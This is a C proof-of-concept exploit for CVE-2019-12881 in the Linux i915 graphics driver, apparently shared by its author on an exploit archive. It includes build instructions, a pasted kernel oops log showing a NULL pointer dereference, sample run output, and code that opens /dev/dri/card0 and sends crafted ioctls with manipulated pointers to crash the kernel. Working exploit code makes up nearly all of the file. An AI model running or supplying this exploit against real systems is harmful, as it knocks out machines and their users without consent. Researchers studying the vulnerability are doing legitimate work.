/*                                                           */
/* gcc drm_i915_ktsploit.c -o kt -ldrm -I/usr/include/libdrm */
/*             exploit by oxagast                            */
/*                                                           */
/*                                                           */
/*   __ _  _  __   ___  __  ____ ____                        */
/*  /  ( \/ )/ _\ / __)/ _\/ ___(_  _)                       */
/* (  O )  (/    ( (_ /    \___ \ )(                         */
/*  \__(_/\_\_/\_/\___\_/\_(____/(__)                        */
/*                                                           */
/* CVE-2019-12881                                            */
/* oxagast@oxasploits.com                                      */
//Jun 17 01:22:05 likon kernel: [ 1788.600973] BUG: unable to handle kernel NULL pointer dereference at 0000000000000010
//Jun 17 01:22:05 likon kernel: [ 1788.600982] IP: __sg_alloc_table_from_pages+0xe4/0x1f0
//Jun 17 01:22:05 likon kernel: [ 1788.600984] PGD 0 P4D 0 
//Jun 17 01:22:05 likon kernel: [ 1788.600987] Oops: 0000 [#3] SMP PTI
//Jun 17 01:22:05 likon kernel: [ 1788.600988] Modules linked in: rfcomm appletalk ipx p8023 psnap p8022 llc pci_stub vboxpci(OE) vboxnetadp(OE) vboxnetflt(OE) vboxdrv(OE) snd_hrtimer ccm cmac bnep binfmt_misc arc4 iwlmvm mac80211 hid_multitouch hid_sensor_magn_3d hid_sensor_accel_3d hid_sensor_rotation hid_sensor_incl_3d hid_sensor_als ir_lirc_codec lirc_dev hid_sensor_gyro_3d rtl2832_sdr hid_sensor_trigger industrialio_triggered_buffer kfifo_buf r820t btusb hid_sensor_iio_common btrtl industrialio btbcm rtl2832 intel_rapl i2c_mux uvcvideo x86_pkg_temp_thermal intel_powerclamp coretemp dvb_usb_rtl28xxu dvb_usb_v2 videobuf2_vmalloc kvm_intel snd_soc_skl btintel videobuf2_memops dvb_core bluetooth kvm snd_soc_skl_ipc videobuf2_v4l2 videobuf2_core videodev snd_hda_ext_core rc_core media snd_soc_sst_dsp snd_soc_sst_ipc snd_soc_acpi iwlwifi
//Jun 17 01:22:05 likon kernel: [ 1788.601024]  cfg80211 snd_soc_core snd_hda_codec_hdmi irqbypass ecdh_generic dell_laptop snd_compress ac97_bus dell_smm_hwmon snd_hda_codec_conexant snd_hda_codec_generic snd_pcm_dmaengine intel_cstate dell_wmi dell_smbios intel_rapl_perf snd_hda_intel snd_hda_codec snd_hda_core dcdbas snd_hwdep joydev input_leds intel_hid serio_raw wmi_bmof dell_wmi_descriptor snd_pcm intel_vbtn sparse_keymap snd_seq_midi snd_seq_midi_event int3403_thermal mei_me snd_rawmidi shpchp snd_seq snd_seq_device snd_timer mac_hid idma64 virt_dma intel_lpss_pci snd mei processor_thermal_device int3400_thermal intel_lpss acpi_thermal_rel intel_soc_dts_iosf acpi_pad int3402_thermal soundcore int340x_thermal_zone sch_fq_codel nfsd auth_rpcgss nfs_acl lockd grace sunrpc parport_pc ppdev lp parport ip_tables x_tables autofs4
//Jun 17 01:22:05 likon kernel: [ 1788.601057]  algif_skcipher af_alg dm_crypt hid_sensor_custom wacom hid_sensor_hub hid_generic usbhid crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc i915 aesni_intel aes_x86_64 crypto_simd glue_helper cryptd i2c_algo_bit drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops ahci drm libahci wmi i2c_hid hid video pinctrl_sunrisepoint
//Jun 17 01:22:05 likon kernel: [ 1788.601084] CPU: 3 PID: 4513 Comm: drm_i915_ktsplo Tainted: G      D    OE    4.15.0-51-generic #55-Ubuntu
//Jun 17 01:22:05 likon kernel: [ 1788.601086] Hardware name: Dell Inc. Inspiron 15-7568/0KMNV6, BIOS 01.10.00 07/27/2016
//Jun 17 01:22:05 likon kernel: [ 1788.601090] RIP: 0010:__sg_alloc_table_from_pages+0xe4/0x1f0
//Jun 17 01:22:05 likon kernel: [ 1788.601092] RSP: 0018:ffffbb0403c6fbe0 EFLAGS: 00010297
//Jun 17 01:22:05 likon kernel: [ 1788.601095] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000001
//Jun 17 01:22:05 likon kernel: [ 1788.601096] RDX: 0000000000000002 RSI: 0000000000000000 RDI: ffff9a8433aa6a80
//Jun 17 01:22:05 likon kernel: [ 1788.601097] RBP: ffffbb0403c6fc20 R08: ffff9a8433aa6a60 R09: ffff9a8433aa6a60
//Jun 17 01:22:05 likon kernel: [ 1788.601099] R10: 0000000000000000 R11: ffff9a8433aa6a60 R12: 0000000000000010
//Jun 17 01:22:05 likon kernel: [ 1788.601100] R13: 0000000000000000 R14: 0000000004000000 R15: 0000000000000000
//Jun 17 01:22:05 likon kernel: [ 1788.601102] FS:  00007f913e9a54c0(0000) GS:ffff9a848f580000(0000) knlGS:0000000000000000
//Jun 17 01:22:05 likon kernel: [ 1788.601103] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
//Jun 17 01:22:05 likon kernel: [ 1788.601105] CR2: 0000000000000010 CR3: 0000000192690004 CR4: 00000000003606e0
//Jun 17 01:22:05 likon kernel: [ 1788.601106] Call Trace:
//Jun 17 01:22:05 likon kernel: [ 1788.601158]  __i915_gem_userptr_alloc_pages+0xb8/0x140 [i915]
//Jun 17 01:22:05 likon kernel: [ 1788.601179]  i915_gem_userptr_get_pages+0x110/0x1d0 [i915]
//Jun 17 01:22:05 likon kernel: [ 1788.601195]  ____i915_gem_object_get_pages+0x22/0x50 [i915]
//Jun 17 01:22:05 likon kernel: [ 1788.601210]  __i915_gem_object_get_pages+0x5b/0x70 [i915]
//Jun 17 01:22:05 likon kernel: [ 1788.601225]  i915_gem_set_domain_ioctl+0x1d0/0x250 [i915]
//Jun 17 01:22:05 likon kernel: [ 1788.601240]  ? i915_gem_obj_prepare_shmem_write+0x150/0x150 [i915]
//Jun 17 01:22:05 likon kernel: [ 1788.601260]  drm_ioctl_kernel+0x5f/0xb0 [drm]
//Jun 17 01:22:05 likon kernel: [ 1788.601267]  drm_ioctl+0x38e/0x460 [drm]
//Jun 17 01:22:05 likon kernel: [ 1788.601283]  ? i915_gem_obj_prepare_shmem_write+0x150/0x150 [i915]
//Jun 17 01:22:05 likon kernel: [ 1788.601287]  ? __wake_up+0x13/0x20
//Jun 17 01:22:05 likon kernel: [ 1788.601290]  do_vfs_ioctl+0xa8/0x630
//Jun 17 01:22:05 likon kernel: [ 1788.601293]  ? vfs_write+0x166/0x1a0
//Jun 17 01:22:05 likon kernel: [ 1788.601295]  SyS_ioctl+0x79/0x90
//Jun 17 01:22:05 likon kernel: [ 1788.601298]  do_syscall_64+0x73/0x130
//Jun 17 01:22:05 likon kernel: [ 1788.601302]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
//Jun 17 01:22:05 likon kernel: [ 1788.601304] RIP: 0033:0x7f913e4cf5d7
//Jun 17 01:22:05 likon kernel: [ 1788.601305] RSP: 002b:00007ffed26b8b28 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
//Jun 17 01:22:05 likon kernel: [ 1788.601307] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f913e4cf5d7
//Jun 17 01:22:05 likon kernel: [ 1788.601308] RDX: 00007ffed26b8578 RSI: 00000000c0085e5f RDI: 0000000000000003
//Jun 17 01:22:05 likon kernel: [ 1788.601310] RBP: 00007ffed26b8c00 R08: 000000000000006e R09: 0000000000000010
//Jun 17 01:22:05 likon kernel: [ 1788.601311] R10: 00000000fffffff0 R11: 0000000000000286 R12: 000055e296fcc6a0
//Jun 17 01:22:05 likon kernel: [ 1788.601312] R13: 00007ffed26b8ce0 R14: 0000000000000000 R15: 0000000000000000
//Jun 17 01:22:05 likon kernel: [ 1788.601314] Code: c4 0f 85 66 ff ff ff 4d 8b 1f c7 45 d0 00 00 00 00 45 31 ff 48 8b 45 c8 8b 75 d0 3b 70 0c 0f 83 49 ff ff ff 41 8d 4f 01 44 89 f8 <4d> 8b 14 c4 39 cb 0f 86 ea 00 00 00 41 81 fe 00 10 00 00 0f 86 
//Jun 17 01:22:05 likon kernel: [ 1788.601342] RIP: __sg_alloc_table_from_pages+0xe4/0x1f0 RSP: ffffbb0403c6fbe0
//Jun 17 01:22:05 likon kernel: [ 1788.601343] CR2: 0000000000000010
//Jun 17 01:22:05 likon kernel: [ 1788.601346] ---[ end trace 27c6ed3488ecb7ea ]---
//
//
// $ ./drm_i915_ktsploit
// drm_i915_ktsploit: ret: 32638 for cmd: 5e 73 on fd: 3 arg: 0x7ffd258abb30 (error: Success)
// drm_i915_ktsploit: ret: 0 for cmd: 5e 5e on fd: 3 arg: 0x7ffd258abfb0 (error: Success)
// drm_i915_ktsploit: ret: -1 for cmd: 5e 5f on fd: 3 arg: 0x7ffd258abfb0 (error: Invalid argument)
// Killed

// https://oxasploits.com/posts/exploit-archive-partial-disclosure/

#include "stdio.h"
#include <stdlib.h>
#include <inttypes.h>
#include <drm/drm.h>
#include <drm/i915_drm.h>
#include <assert.h>
#include <ctype.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <xf86drm.h>
#include <sys/ioctl.h>

int loader_open_device(const char *device_name) {
  int fd;  // initialize file descriptor
#ifdef O_CLOEXEC
  fd = open(device_name, O_RDWR | O_CLOEXEC); /* get the i915 fd */
  if (fd == -1 && errno == EINVAL)
#endif
  {
    fd = open(device_name, O_RDWR);  /* get the i915 fd */
    if (fd != -1)
      fcntl(fd, F_SETFD, fcntl(fd, F_GETFD) | FD_CLOEXEC);
   }
   return (fd); /* return it */
}

int main() {
  struct drm_i915_gem_exec_object2 exec = {}; /* init one of the objects to reference */
  int *ptr = (void*) &exec; /* references the object */
  struct drm_i915_gem_execbuffer2 execbuf = { /* learned this trick from deadkode [REDACTED, NSFW] */
     .buffers_ptr = *ptr,
     .buffer_count = 1,
     .flags = 12,
     .rsvd1 = 0,
  }; /* for eb pointer */
  unsigned long int *eb = (void*) &execbuf; /* eb pointer to a reference in kernel mem */
  unsigned long int *backeb = eb - 0x68; /* do some dirty pointer math to get the first address */
  int fd, ret; /* file descriptor and return */
  /* ar 0x5f 0x73 0xd5 and cmd 0x5e */
  fd = loader_open_device("/dev/dri/card0"); /* the device to open */
  int cmd = 0x5e;  /* cmd to pass */
  int ar [] = {0x5f, 0x73, 0x5e};  /* args to pass */
  fprintf(stderr, "drm_i915_ktsploit: ret: %d for cmd: %.2x %.2x on fd: %d arg: %p (error: %m)\n", ret, cmd, ar[1], fd, backeb);
  ret = ioctl(fd, _IOC(_IOC_READ|_IOC_WRITE, cmd, ar[1], sizeof(backeb)), backeb);  /* pass 0x73 as arg */
  backeb+=0x90;  /* jump 144 forward (40 from *eb) */
  fprintf(stderr, "drm_i915_ktsploit: ret: %d for cmd: %.2x %.2x on fd: %d arg: %p (error: %m)\n", ret, cmd, ar[2], fd, backeb);
  ret = ioctl(fd, _IOC(_IOC_READ|_IOC_WRITE, cmd, ar[2], sizeof(backeb)), backeb); /* pass 0x5e as arg */
  fprintf(stderr, "drm_i915_ktsploit: ret: %d for cmd: %.2x %.2x on fd: %d arg: %p (error: %m)\n", ret, cmd, ar[0], fd, backeb);
  ret = ioctl(fd, _IOC(_IOC_READ|_IOC_WRITE, cmd, ar[0], sizeof(backeb)), backeb); /* pass 0x5f as arg */
   /* kernel should kill program before this point!! */
   return(0); /* if you want to get down... down on the ground... cocaine. */
}